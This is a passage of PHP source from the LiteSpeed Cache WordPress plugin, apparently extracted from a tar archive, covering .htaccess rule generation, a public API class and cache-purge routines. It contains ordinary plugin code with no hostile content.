( LITESPEED_SERVER_TYPE === 'LITESPEED_SERVER_OLS' ) { // Need to keep this due to different behavior of OLS when handling response vary header @Sep/22/2018. if ( defined( 'COOKIEHASH' ) ) { $vary_cookies[] = ',wp-postpass_' . COOKIEHASH; } } $vary_cookies = apply_filters( 'litespeed_vary_cookies', $vary_cookies ); // todo: test if response vary header can work in latest OLS, drop the above two lines. // frontend and backend. if ( $vary_cookies ) { $env = 'Cache-Vary:' . implode( ',', $vary_cookies ); $env = '"' . $env . '"'; $new_rules[] = self::MARKER_LOGIN_COOKIE . self::MARKER_START; $new_rules_backend[] = self::MARKER_LOGIN_COOKIE . self::MARKER_START; $new_rules[] = 'RewriteRule .? - [E=' . $env . ']'; $new_rules_backend[] = 'RewriteRule .? - [E=' . $env . ']'; $new_rules[] = self::MARKER_LOGIN_COOKIE . self::MARKER_END; $new_rules_backend[] = self::MARKER_LOGIN_COOKIE . self::MARKER_END; $new_rules[] = ''; } // CORS font rules. $id = Base::O_CDN; if ( ! empty( $cfg[ $id ] ) ) { $new_rules[] = self::MARKER_CORS . self::MARKER_START; $new_rules = array_merge( $new_rules, $this->_cors_rules() ); // todo: network. $new_rules[] = self::MARKER_CORS . self::MARKER_END; $new_rules[] = ''; } // webp/next-gen support. $id = Base::O_IMG_OPTM_WEBP; if ( ! empty( $cfg[ $id ] ) ) { $next_gen_format = 'webp'; if ( 2 === (int) $cfg[ $id ] ) { $next_gen_format = 'avif'; } $new_rules[] = self::MARKER_WEBP . self::MARKER_START; // Check for WebP/AVIF support via HTTP_ACCEPT. $new_rules[] = 'RewriteCond %{HTTP_ACCEPT} image/' . $next_gen_format . ' [OR]'; // Check for iPhone browsers (version > 13). $new_rules[] = 'RewriteCond %{HTTP_USER_AGENT} iPhone\ OS\ (1[4-9]|[2-9][0-9]) [OR]'; // Check for macOS Safari (version >= 16.4). $new_rules[] = 'RewriteCond %{HTTP_USER_AGENT} Macintosh.*Version/((1[7-9]|[2-9][0-9])|16\.([4-9]|[1-9][0-9])) [OR]'; // Check for Firefox (version >= 65). $new_rules[] = 'RewriteCond %{HTTP_USER_AGENT} Firefox/([6-9][0-9]|[1-9][0-9]{2,})'; // Add vary. $new_rules[] = 'RewriteRule .* - [E=Cache-Control:vary=%{ENV:LSCACHE_VARY_VALUE}+webp]'; $new_rules[] = self::MARKER_WEBP . self::MARKER_END; $new_rules[] = ''; } // drop qs support. $id = Base::O_CACHE_DROP_QS; if ( ! empty( $cfg[ $id ] ) ) { $new_rules[] = self::MARKER_DROPQS . self::MARKER_START; foreach ( $cfg[ $id ] as $v ) { $new_rules[] = 'CacheKeyModify -qs:' . $v; } $new_rules[] = self::MARKER_DROPQS . self::MARKER_END; $new_rules[] = ''; } // Browser cache. $id = Base::O_CACHE_BROWSER; if ( ! empty( $cfg[ $id ] ) ) { $new_rules_nonls[] = self::MARKER_BROWSER_CACHE . self::MARKER_START; $new_rules_nonls = array_merge( $new_rules_nonls, $this->_browser_cache_rules( $cfg ) ); $new_rules_nonls[] = self::MARKER_BROWSER_CACHE . self::MARKER_END; $new_rules_nonls[] = ''; $new_rules_backend_nonls[] = self::MARKER_BROWSER_CACHE . self::MARKER_START; $new_rules_backend_nonls = array_merge( $new_rules_backend_nonls, $this->_browser_cache_rules( $cfg ) ); $new_rules_backend_nonls[] = self::MARKER_BROWSER_CACHE . self::MARKER_END; $new_rules_backend_nonls[] = ''; } // Add module wrapper for LiteSpeed rules. if ( $new_rules ) { $new_rules = $this->_wrap_ls_module( $new_rules ); } if ( $new_rules_backend ) { $new_rules_backend = $this->_wrap_ls_module( $new_rules_backend ); } return array( $new_rules, $new_rules_backend, $new_rules_nonls, $new_rules_backend_nonls ); } /** * Add LiteSpeed module wrapper with rewrite on. * * @since 2.1.1 * @access private * * @param array $rules Rules to wrap. * @return array Wrapped rules. */ private function _wrap_ls_module( $rules = array() ) { return array_merge( $this->__rewrite_general, array( self::LS_MODULE_START ), $this->__rewrite_on, array( '' ), $rules, array( self::LS_MODULE_END ) ); } /** * Insert LiteSpeed module wrapper with rewrite on. * * @since 2.1.1 * @access public * @return void */ public function insert_ls_wrapper() { $rules = $this->_wrap_ls_module(); $this->_insert_wrapper( $rules ); } /** * Wrap rules with do-not-edit markers. * * @since 1.1.5 * * @param array|false $rules Rules array or false. * @return array|false Wrapped rules, or false if $rules was false. */ private function _wrap_do_no_edit( $rules ) { // When clearing rules, don't need DO NOT EDIT msg. if ( false === $rules || ! is_array( $rules ) ) { return $rules; } $rules = array_merge( array( self::LS_MODULE_DONOTEDIT ), $rules, array( self::LS_MODULE_DONOTEDIT ) ); return $rules; } /** * Write to htaccess with rules. * * NOTE: will throw error if failed. * * @since 1.1.0 * @access private * * @param array|false $rules Rules to write. Pass false to clear. * @param string|false $kind 'frontend' or 'backend'. Defaults to 'frontend'. * @param string|false $marker Marker name. Defaults to self::MARKER. * @return void * @throws \Exception If write fails. */ private function _insert_wrapper( $rules = array(), $kind = false, $marker = false ) { if ( 'backend' !== $kind ) { $kind = 'frontend'; } // Default marker is LiteSpeed marker `LSCACHE`. if ( false === $marker ) { $marker = self::MARKER; } $this->_htaccess_backup( $kind ); File::insert_with_markers( $this->htaccess_path( $kind ), $this->_wrap_do_no_edit( $rules ), $marker, true ); } /** * Update rewrite rules based on setting. * * NOTE: will throw error if failed. * * @since 1.3 * @access public * * @param array $cfg Plugin configuration. * @return bool True on success. * @throws \Exception When automatic update fails (provides manual instructions). */ public function update( $cfg ) { list( $frontend_rules, $backend_rules, $frontend_rules_nonls, $backend_rules_nonls ) = $this->_generate_rules( $cfg ); // Check frontend content. list( $rules, $rules_nonls ) = $this->_extract_rules(); // Check Non-LiteSpeed rules. if ( $this->_wrap_do_no_edit( $frontend_rules_nonls ) !== $rules_nonls ) { Debug2::debug( '[Rules] Update non-ls frontend rules' ); // Need to update frontend htaccess. try { $this->_insert_wrapper( $frontend_rules_nonls, false, self::MARKER_NONLS ); } catch ( \Exception $e ) { $manual_guide_codes = $this->_rewrite_codes_msg( $this->frontend_htaccess, $frontend_rules_nonls, self::MARKER_NONLS ); Debug2::debug( '[Rules] Update Failed' ); throw new \Exception( $manual_guide_codes ); // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Message is for admin display. } } // Check LiteSpeed rules. if ( $this->_wrap_do_no_edit( $frontend_rules ) !== $rules ) { Debug2::debug( '[Rules] Update frontend rules' ); // Need to update frontend htaccess. try { $this->_insert_wrapper( $frontend_rules ); } catch ( \Exception $e ) { Debug2::debug( '[Rules] Update Failed' ); $manual_guide_codes = $this->_rewrite_codes_msg( $this->frontend_htaccess, $frontend_rules ); throw new \Exception( $manual_guide_codes ); // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Message is for admin display. } } if ( $this->frontend_htaccess !== $this->backend_htaccess ) { list( $rules, $rules_nonls ) = $this->_extract_rules( 'backend' ); // Check Non-LiteSpeed rules for backend. if ( $this->_wrap_do_no_edit( $backend_rules_nonls ) !== $rules_nonls ) { Debug2::debug( '[Rules] Update non-ls backend rules' ); // Need to update backend htaccess. try { $this->_insert_wrapper( $backend_rules_nonls, 'backend', self::MARKER_NONLS ); } catch ( \Exception $e ) { Debug2::debug( '[Rules] Update Failed' ); $manual_guide_codes = $this->_rewrite_codes_msg( $this->backend_htaccess, $backend_rules_nonls, self::MARKER_NONLS ); throw new \Exception( $manual_guide_codes ); // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Message is for admin display. } } // Check backend content. if ( $this->_wrap_do_no_edit( $backend_rules ) !== $rules ) { Debug2::debug( '[Rules] Update backend rules' ); // Need to update backend htaccess. try { $this->_insert_wrapper( $backend_rules, 'backend' ); } catch ( \Exception $e ) { Debug2::debug( '[Rules] Update Failed' ); $manual_guide_codes = $this->_rewrite_codes_msg( $this->backend_htaccess, $backend_rules ); throw new \Exception( $manual_guide_codes ); // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Message is for admin display. } } } return true; } /** * Get existing rewrite rules. * * NOTE: will throw error if failed. * * @since 1.3 * @access private * * @param string $kind Frontend or backend .htaccess file. * @return array{0:array,1:array} A tuple of [ls_rules, nonls_rules]. * @throws \Exception If file is not readable. */ private function _extract_rules( $kind = 'frontend' ) { clearstatcache(); $path = $this->htaccess_path( $kind ); if ( ! $this->_readable( $kind ) ) { Error::t( 'E_HTA_R' ); } $rules = File::extract_from_markers( $path, self::MARKER ); $rules_nonls = File::extract_from_markers( $path, self::MARKER_NONLS ); return array( $rules, $rules_nonls ); } /** * Output the msg with rules plain data for manual insert. * * @since 1.1.5 * * @param string $file The target file path. * @param array $rules The rules to be inserted. * @param string|false $marker Optional marker name. Defaults to LiteSpeed's marker. * @return string The final message (HTML) to output. */ private function _rewrite_codes_msg( $file, $rules, $marker = false ) { return sprintf( /* translators: 1: file path, 2: code block */ __( '

      Please add/replace the following codes into the beginning of %1$s:

      %2$s', 'litespeed-cache' ), esc_html( $file ), '' ); } /** * Generate rules plain data for manual insert. * * @since 1.1.5 * * @param array|false $rules Rules to wrap or false. * @param string|false $marker Optional marker name. Defaults to LiteSpeed's marker. * @return string The plain text of the rules with markers. */ private function _wrap_rules_with_marker( $rules, $marker = false ) { // Default marker is LiteSpeed marker `LSCACHE`. if ( false === $marker ) { $marker = self::MARKER; } $start_marker = "# BEGIN {$marker}"; $end_marker = "# END {$marker}"; $new_file_data = implode( "\n", array_merge( array( $start_marker ), $this->_wrap_do_no_edit( $rules ), array( $end_marker ) ) ); return $new_file_data; } /** * Clear the rules file of any changes added by the plugin specifically. * * @since 1.0.4 * @access public * * @return void */ public function clear_rules() { $this->_insert_wrapper( false ); // Use false to avoid do-not-edit msg. // Clear non ls rules. $this->_insert_wrapper( false, false, self::MARKER_NONLS ); if ( $this->frontend_htaccess !== $this->backend_htaccess ) { $this->_insert_wrapper( false, 'backend' ); $this->_insert_wrapper( false, 'backend', self::MARKER_NONLS ); } } } api.cls.php000064400000024564152077520300006622 0ustar00cls( 'Admin_Display' ), 'enroll' ], 10, 4 ); add_action( 'litespeed_build_switch', [ $this->cls( 'Admin_Display' ), 'build_switch' ] ); // Action `litespeed_settings_content` // Action `litespeed_settings_tab` } /** * Disable All * * Disables all LiteSpeed Cache features with a given reason. * * @since 2.9.7.2 * @access public * @param string $reason The reason for disabling all features. */ public function disable_all( $reason ) { do_action( 'litespeed_debug', '[API] Disabled_all due to ' . $reason ); ! defined( 'LITESPEED_DISABLE_ALL' ) && define( 'LITESPEED_DISABLE_ALL', true ); } /** * Append commenter vary * * Adds commenter vary to the cache vary cookies. * * @since 3.0 * @access public */ public static function vary_append_commenter() { Vary::cls()->append_commenter(); } /** * Check if is from Cloud * * Checks if the current request originates from QUIC.cloud. * * @since 4.2 * @access public * @return bool True if from QUIC.cloud, false otherwise. */ public function is_from_cloud() { return $this->cls( 'Cloud' )->is_from_cloud(); } /** * Purge post * * Purges the cache for a specific post. * * @since 3.0 * @access public * @param int $pid Post ID to purge. */ public function purge_post( $pid ) { $this->cls( 'Purge' )->purge_post( $pid ); } /** * Purge URL * * Purges the cache for a specific URL. * * @since 3.0 * @access public * @param string $url URL to purge. */ public function purge_url( $url ) { $this->cls( 'Purge' )->purge_url( $url ); } /** * Set cacheable * * Marks the current request as cacheable. * * @since 3.0 * @access public * @param string|bool $reason Optional reason for setting cacheable. */ public function set_cacheable( $reason = false ) { $this->cls( 'Control' )->set_cacheable( $reason ); } /** * Check ESI enabled * * Returns whether ESI is enabled. * * @since 3.0 * @access public * @return bool True if ESI is enabled, false otherwise. */ public function esi_enabled() { return $this->cls( 'Router' )->esi_enabled(); } /** * Get TTL * * Retrieves the cache TTL (time to live). * * @since 3.0 * @access public * @return int Cache TTL value. */ public function get_ttl() { return $this->cls( 'Control' )->get_ttl(); } /** * Generate ESI block URL * * Generates a URL for an ESI block. * * @since 3.0 * @access public * @param string $block_id ESI block ID. * @param string $wrapper Wrapper identifier. * @param array $params Parameters for the ESI block. * @param string $control Cache control settings. * @param bool $silence Silence output flag. * @param bool $preserved Preserved flag. * @param bool $svar Server variable flag. * @param array $inline_param Inline parameters. * @return string ESI block URL. */ public function sub_esi_block( $block_id, $wrapper, $params = [], $control = 'private,no-vary', $silence = false, $preserved = false, $svar = false, $inline_param = [] ) { return $this->cls( 'ESI' )->sub_esi_block( $block_id, $wrapper, $params, $control, $silence, $preserved, $svar, $inline_param ); } /** * Set and sync conf * * Updates and synchronizes configuration settings. * * @since 7.2 * @access public * @param bool|array $the_matrix Configuration data to update. */ public function save_conf( $the_matrix = false ) { $this->cls( 'Conf' )->update_confs( $the_matrix ); } } purge.cls.php000064400000104643152077520300007170 0ustar00 */ protected $_pub_purge = []; /** * Public purge tags for X-LiteSpeed-Purge2. * * @var array */ protected $_pub_purge2 = []; /** * Private purge tags for X-LiteSpeed-Purge (private section). * * @var array */ protected $_priv_purge = []; /** * Whether to purge only current URL (QS helper). * * @var bool */ protected $_purge_single = false; const X_HEADER = 'X-LiteSpeed-Purge'; const X_HEADER2 = 'X-LiteSpeed-Purge2'; const DB_QUEUE = 'queue'; const DB_QUEUE2 = 'queue2'; const TYPE_PURGE_ALL = 'purge_all'; const TYPE_PURGE_ALL_LSCACHE = 'purge_all_lscache'; const TYPE_PURGE_ALL_CSSJS = 'purge_all_cssjs'; const TYPE_PURGE_ALL_LOCALRES = 'purge_all_localres'; const TYPE_PURGE_ALL_CCSS = 'purge_all_ccss'; const TYPE_PURGE_ALL_UCSS = 'purge_all_ucss'; const TYPE_PURGE_ALL_LQIP = 'purge_all_lqip'; const TYPE_PURGE_ALL_VPI = 'purge_all_vpi'; const TYPE_PURGE_ALL_AVATAR = 'purge_all_avatar'; const TYPE_PURGE_ALL_OBJECT = 'purge_all_object'; const TYPE_PURGE_ALL_OPCACHE = 'purge_all_opcache'; const TYPE_PURGE_FRONT = 'purge_front'; const TYPE_PURGE_UCSS = 'purge_ucss'; const TYPE_PURGE_FRONTPAGE = 'purge_frontpage'; const TYPE_PURGE_PAGES = 'purge_pages'; const TYPE_PURGE_ERROR = 'purge_error'; /** * Init hooks. * * @since 3.0 * @return void */ public function init() { $purge_post_events = apply_filters( 'litespeed_purge_post_events', [ 'delete_post', 'wp_trash_post', 'wp_update_comment_count', ] ); foreach ( $purge_post_events as $event ) { add_action( $event, [ $this, 'purge_post' ] ); } // Purge post only when status is/was publish. add_action( 'transition_post_status', [ $this, 'purge_publish' ], 10, 3 ); add_action( 'wp_update_comment_count', [ $this, 'purge_feeds' ] ); if ( $this->conf( self::O_OPTM_UCSS ) ) { add_action( 'edit_post', __NAMESPACE__ . '\Purge::purge_ucss' ); } } /** * Only purge publish related status post. * * @since 3.0 * @param string $new_status New status. * @param string $old_status Old status. * @param \WP_Post $post Post object. * @return void */ public function purge_publish( $new_status, $old_status, $post ) { if ( 'publish' !== $new_status && 'publish' !== $old_status ) { return; } $this->purge_post( $post->ID ); } /** * Handle all request actions from main cls. * * @since 1.8 * @since 7.6 Add VPI clear. * @access public */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_PURGE_ALL: $this->_purge_all(); break; case self::TYPE_PURGE_ALL_LSCACHE: $this->_purge_all_lscache(); break; case self::TYPE_PURGE_ALL_CSSJS: $this->_purge_all_cssjs(); break; case self::TYPE_PURGE_ALL_LOCALRES: $this->_purge_all_localres(); break; case self::TYPE_PURGE_ALL_CCSS: $this->_purge_all_ccss(); break; case self::TYPE_PURGE_ALL_UCSS: $this->_purge_all_ucss(); break; case self::TYPE_PURGE_ALL_LQIP: $this->_purge_all_lqip(); break; case self::TYPE_PURGE_ALL_VPI: $this->_purge_all_vpi(); break; case self::TYPE_PURGE_ALL_AVATAR: $this->_purge_all_avatar(); break; case self::TYPE_PURGE_ALL_OBJECT: $this->_purge_all_object(); break; case self::TYPE_PURGE_ALL_OPCACHE: $this->purge_all_opcache(); break; case self::TYPE_PURGE_FRONT: $this->_purge_front(); break; case self::TYPE_PURGE_UCSS: $this->_purge_ucss(); break; case self::TYPE_PURGE_FRONTPAGE: $this->_purge_frontpage(); break; case self::TYPE_PURGE_PAGES: $this->_purge_pages(); break; case ( 0 === strpos( $type, self::TYPE_PURGE_ERROR ) ): $this->_purge_error( substr( $type, strlen( self::TYPE_PURGE_ERROR ) ) ); break; default: break; } Admin::redirect(); } /** * Shortcut to purge all lscache. * * @since 1.0.0 * @param string|false $reason Optional reason to log. * @return void */ public static function purge_all( $reason = false ) { self::cls()->_purge_all( $reason ); } /** * Purge all caches (LSCache/CSS/JS/localres/object/opcache). * * @since 2.2 * @param string|false $reason Optional log string. * @return void */ private function _purge_all( $reason = false ) { $this->_purge_all_lscache( true ); $this->_purge_all_cssjs( true ); $this->_purge_all_localres( true ); $this->_purge_all_object( true ); $this->purge_all_opcache( true ); if ( $this->conf( self::O_CDN_CLOUDFLARE_CLEAR ) ) { CDN\Cloudflare::purge_all( 'Purge All' ); } $reason = is_string( $reason ) ? "( $reason )" : ''; self::debug( 'Purge all ' . $reason, 3 ); $msg = __( 'Purged all caches successfully.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } do_action( 'litespeed_purged_all' ); } /** * Shortcut to purge lscache. * * @since 7.7 * @param string|false $reason Optional reason to log. * @return void */ public static function purge_all_lscache( $reason = false ) { if ( $reason ) { self::debug( 'Purge lscache ' . $reason, 3 ); } self::cls()->_purge_all_lscache(); } /** * Alerts LiteSpeed Web Server to purge all pages. * * @since 2.2 * @param bool $silence If true, don't show admin notice. * @return void */ private function _purge_all_lscache( $silence = false ) { $this->_add( '*' ); do_action( 'litespeed_purged_all_lscache' ); if ( ! $silence ) { $msg = __( 'Notified LiteSpeed Web Server to purge all LSCache entries.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } } } /** * Delete all critical CSS. * * @since 2.3 * @param bool $silence If true, don't show admin notice. * @return void */ private function _purge_all_ccss( $silence = false ) { do_action( 'litespeed_purged_all_ccss' ); $this->cls( 'CSS' )->rm_cache_folder( 'ccss' ); $this->cls( 'Data' )->url_file_clean( 'ccss' ); if ( ! $silence ) { $msg = __( 'Cleaned all Critical CSS files.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } } } /** * Delete all unique CSS. * * @since 2.3 * @param bool $silence If true, don't show admin notice. * @return void */ private function _purge_all_ucss( $silence = false ) { do_action( 'litespeed_purged_all_ucss' ); $this->cls( 'CSS' )->rm_cache_folder( 'ucss' ); $this->cls( 'Data' )->url_file_clean( 'ucss' ); if ( ! $silence ) { $msg = __( 'Cleaned all Unique CSS files.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } } } /** * Purge one UCSS by URL or post ID. * * @since 4.5 * @param int|string $post_id_or_url Post ID or URL. * @return void */ public static function purge_ucss( $post_id_or_url ) { self::debug( 'Purge a single UCSS: ' . $post_id_or_url ); // If is post_id, generate URL. if ( ! preg_match( '/\D/', (string) $post_id_or_url ) ) { $post_id_or_url = get_permalink( (int) $post_id_or_url ); } $post_id_or_url = (string) $post_id_or_url; $permalink_structure = get_option( 'permalink_structure' ); if ( ! empty( $permalink_structure ) ) { $post_id_or_url = trailingslashit( (string) $post_id_or_url ); } $existing_url_files = Data::cls()->mark_as_expired( $post_id_or_url, true ); if ( $existing_url_files ) { self::cls( 'UCSS' )->add_to_q( $existing_url_files ); } } /** * Delete all LQIP images. * * @since 3.0 * @param bool $silence If true, don't show admin notice. * @return void */ private function _purge_all_lqip( $silence = false ) { do_action( 'litespeed_purged_all_lqip' ); $this->cls( 'Placeholder' )->rm_cache_folder( 'lqip' ); if ( ! $silence ) { $msg = __( 'Cleaned all LQIP files.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } } } /** * Delete all VPI data generated * * @since 7.6 * @param bool $silence If true, don't show admin notice. * @return void * @access private */ private function _purge_all_vpi( $silence = false ) { global $wpdb; do_action( 'litespeed_purged_all_vpi' ); $wpdb->query( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->prepare( 'DELETE FROM `' . $wpdb->postmeta . '` WHERE meta_key = %s', VPI::POST_META ) ); $wpdb->query( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->prepare( 'DELETE FROM `' . $wpdb->postmeta . '` WHERE meta_key = %s', VPI::POST_META_MOBILE ) ); $this->cls( 'Placeholder' )->rm_cache_folder( 'vpi' ); if ( !$silence ) { $msg = __( 'Cleaned all VPI data.', 'litespeed-cache' ); !defined( 'LITESPEED_PURGE_SILENT' ) && Admin_Display::success( $msg ); } } /** * Delete all avatar images * * @since 3.0 * @param bool $silence If true, don't show admin notice. * @return void */ private function _purge_all_avatar( $silence = false ) { do_action( 'litespeed_purged_all_avatar' ); // Clear Database table $this->cls( 'Data' )->table_truncate( 'avatar' ); // Remove the folder $this->cls( 'Avatar' )->rm_cache_folder( 'avatar' ); if ( ! $silence ) { $msg = __( 'Cleaned all Gravatar files.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } } } /** * Delete all localized resources. * * @since 3.3 * @param bool $silence If true, don't show admin notice. * @return void */ private function _purge_all_localres( $silence = false ) { do_action( 'litespeed_purged_all_localres' ); $this->_add( Tag::TYPE_LOCALRES ); if ( ! $silence ) { $msg = __( 'Cleaned all localized resource entries.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } } } /** * Purge CSS/JS assets and related LSCache entries. * * @since 1.2.2 * @param bool $silence If true, don't show admin notice. * @return void */ private function _purge_all_cssjs( $silence = false ) { if ( wp_doing_cron() || defined( 'LITESPEED_DID_send_headers' ) ) { self::debug( '❌ Bypassed cssjs delete as header sent (lscache purge after this point will fail) or doing cron' ); return; } $this->_purge_all_lscache( $silence ); // Purge CSSJS must purge lscache too to avoid 404 do_action( 'litespeed_purged_all_cssjs' ); Optimize::update_option( Optimize::ITEM_TIMESTAMP_PURGE_CSS, time() ); $this->_add( Tag::TYPE_MIN ); $this->cls( 'CSS' )->rm_cache_folder( 'css' ); $this->cls( 'CSS' )->rm_cache_folder( 'js' ); $this->cls( 'Data' )->url_file_clean( 'css' ); $this->cls( 'Data' )->url_file_clean( 'js' ); // Clear UCSS queue as it used combined CSS to generate. $this->clear_q( 'ucss', true ); if ( ! $silence ) { $msg = __( 'Notified LiteSpeed Web Server to purge CSS/JS entries.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } } } /** * Purge opcode cache. * * @since 1.8.2 * @since 7.3 Added test for opcode cache restriction. * @param bool $silence If true, don't show admin notice. * @return bool True on success. */ public function purge_all_opcache( $silence = false ) { if ( ! Router::opcache_enabled() ) { self::debug( '❌ Failed to reset OPcache due to OPcache not enabled' ); if ( ! $silence ) { $msg = __( 'OPcache is not enabled.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::error( $msg ); } } return false; } if ( Router::opcache_restricted( __FILE__ ) ) { self::debug( '❌ Failed to reset OPcache due to OPcache is restricted. File requesting the clear is not allowed.' ); if ( ! $silence ) { $msg = sprintf( __( 'OPcache is restricted by %s setting.', 'litespeed-cache' ), 'restrict_api' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::error( $msg ); } } return false; } if ( ! opcache_reset() ) { self::debug( '❌ Reset OPcache not worked' ); if ( ! $silence ) { $msg = __( 'Reset the OPcache failed.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } } return false; } do_action( 'litespeed_purged_all_opcache' ); self::debug( 'Reset OPcache' ); if ( ! $silence ) { $msg = __( 'Reset the entire OPcache successfully.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } } return true; } /** * Purge object cache (public wrapper). * * @since 3.4 * @param bool $silence If true, don't show admin notice. * @return void */ public static function purge_all_object( $silence = true ) { self::cls()->_purge_all_object( $silence ); } /** * Purge object cache. * * @since 1.8 * @param bool $silence If true, don't show admin notice. * @return bool True on success. */ private function _purge_all_object( $silence = false ) { if ( ! defined( 'LSCWP_OBJECT_CACHE' ) ) { self::debug( 'Failed to flush object cache due to object cache not enabled' ); if ( ! $silence ) { $msg = __( 'Object cache is not enabled.', 'litespeed-cache' ); Admin_Display::error( $msg ); } return false; } do_action( 'litespeed_purged_all_object' ); $this->cls( 'Object_Cache' )->flush(); self::debug( 'Flushed object cache' ); if ( ! $silence ) { $msg = __( 'Purge all object caches successfully.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } } return true; } /** * Add public purge tags for current request. * * @since 1.1.3 * @param string|array $tags Tags to add. * @param bool $purge2 Whether to send via X-LiteSpeed-Purge2. * @return void */ public static function add( $tags, $purge2 = false ) { self::cls()->_add( $tags, $purge2 ); } /** * Add tags to purge list. * * @since 2.2 * @param string|array $tags Tags. * @param bool $purge2 Use Purge2 header. * @return void */ private function _add( $tags, $purge2 = false ) { if ( ! is_array( $tags ) ) { $tags = [ $tags ]; } $tags = $this->_prepend_bid( $tags ); if ( ! array_diff( $tags, $purge2 ? $this->_pub_purge2 : $this->_pub_purge ) ) { return; } if ( $purge2 ) { $this->_pub_purge2 = array_unique( array_merge( $this->_pub_purge2, $tags ) ); } else { $this->_pub_purge = array_unique( array_merge( $this->_pub_purge, $tags ) ); } self::debug( 'added ' . implode( ',', $tags ) . ( $purge2 ? ' [Purge2]' : '' ), 8 ); // Send purge header immediately or queue if headers already sent or delayed. $curr_built = $this->_build( $purge2 ); if ( defined( 'LITESPEED_CLI' ) ) { // Can't send, already has output, need to save and wait for next run self::update_option($purge2 ? self::DB_QUEUE2 : self::DB_QUEUE, $curr_built); self::debug( 'CLI request, queue stored: ' . $curr_built ); } else { if ( ! headers_sent() ) { header( $curr_built ); } if ( wp_doing_cron() || defined( 'LITESPEED_DID_send_headers' ) || apply_filters( 'litespeed_delay_purge', false ) ) { self::update_option( $purge2 ? self::DB_QUEUE2 : self::DB_QUEUE, $curr_built ); self::debug( 'Output existed, queue stored: ' . $curr_built ); } self::debug( $curr_built ); } } /** * Add private purge tags for current request. * * @since 1.1.3 * @param string|array $tags Tags. * @return void */ public static function add_private( $tags ) { self::cls()->_add_private( $tags ); } /** * Add private ESI tag to purge list. * * @since 3.0 * @param string $tag ESI tag. * @return void */ public static function add_private_esi( $tag ) { self::add_private( Tag::TYPE_ESI . $tag ); } /** * Add private all tag to purge list. * * @since 3.0 * @return void */ public static function add_private_all() { self::add_private( '*' ); } /** * Add private purge tags. * * @since 2.2 * @param string|array $tags Tags. * @return void */ private function _add_private( $tags ) { if ( ! is_array( $tags ) ) { $tags = [ $tags ]; } $tags = $this->_prepend_bid( $tags ); if ( ! array_diff( $tags, $this->_priv_purge ) ) { return; } self::debug( 'added [private] ' . implode( ',', $tags ), 3 ); $this->_priv_purge = array_unique( array_merge( $this->_priv_purge, $tags ) ); // Send header immediately or skip if sent. $built = $this->_build(); if ( $built && ! headers_sent() ) { header( $built ); } } /** * Add current blog ID prefix to tags (multisite). * * @since 4.0 * @param array $tags Tags. * @return array */ private function _prepend_bid( $tags ) { if ( in_array( '*', $tags, true ) ) { return [ '*' ]; } $curr_bid = is_multisite() ? get_current_blog_id() : ''; foreach ( $tags as $k => $v ) { $tags[ $k ] = $curr_bid . '_' . $v; } return $tags; } /** * Activate `purge single url tag` for Admin QS. * * @since 1.1.3 * @return void */ public static function set_purge_single() { self::cls()->_purge_single = true; do_action( 'litespeed_purged_single' ); } /** * Purge frontend url (based on HTTP_REFERER). * * @since 1.3 * @since 2.2 Access changed from public to private, renamed from `frontend_purge`. * @return void */ private function _purge_front() { if ( empty( $_SERVER['HTTP_REFERER'] ) ) { exit( 'no referer' ); } $ref = esc_url_raw( wp_unslash( $_SERVER['HTTP_REFERER'] ) ); $this->purge_url( $ref ); do_action( 'litespeed_purged_front', $ref ); wp_safe_redirect( $ref ); exit; } /** * Purge single UCSS (via referer or `url_tag`). * * @since 4.7 * @return void */ private function _purge_ucss() { if ( empty( $_SERVER['HTTP_REFERER'] ) ) { exit( 'no referer' ); } $ref = esc_url_raw( wp_unslash( $_SERVER['HTTP_REFERER'] ) ); $url_tag = ! empty( $_GET['url_tag'] ) ? sanitize_text_field( wp_unslash( $_GET['url_tag'] ) ) : $ref; // phpcs:ignore WordPress.Security.NonceVerification.Recommended self::debug( 'Purge ucss [url_tag] ' . $url_tag ); do_action( 'litespeed_purge_ucss', $url_tag ); $this->purge_url( $ref ); wp_safe_redirect( $ref ); exit; } /** * Purge the front page. * * @since 1.0.3 * @return void */ private function _purge_frontpage() { $this->_add( Tag::TYPE_FRONTPAGE ); if ( 'LITESPEED_SERVER_OLS' !== LITESPEED_SERVER_TYPE ) { $this->_add_private( Tag::TYPE_FRONTPAGE ); } $msg = __( 'Notified LiteSpeed Web Server to purge the front page.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } do_action( 'litespeed_purged_frontpage' ); } /** * Purge all pages. * * @since 1.0.15 * @return void */ private function _purge_pages() { $this->_add( Tag::TYPE_PAGES ); $msg = __( 'Notified LiteSpeed Web Server to purge all pages.', 'litespeed-cache' ); if ( ! defined( 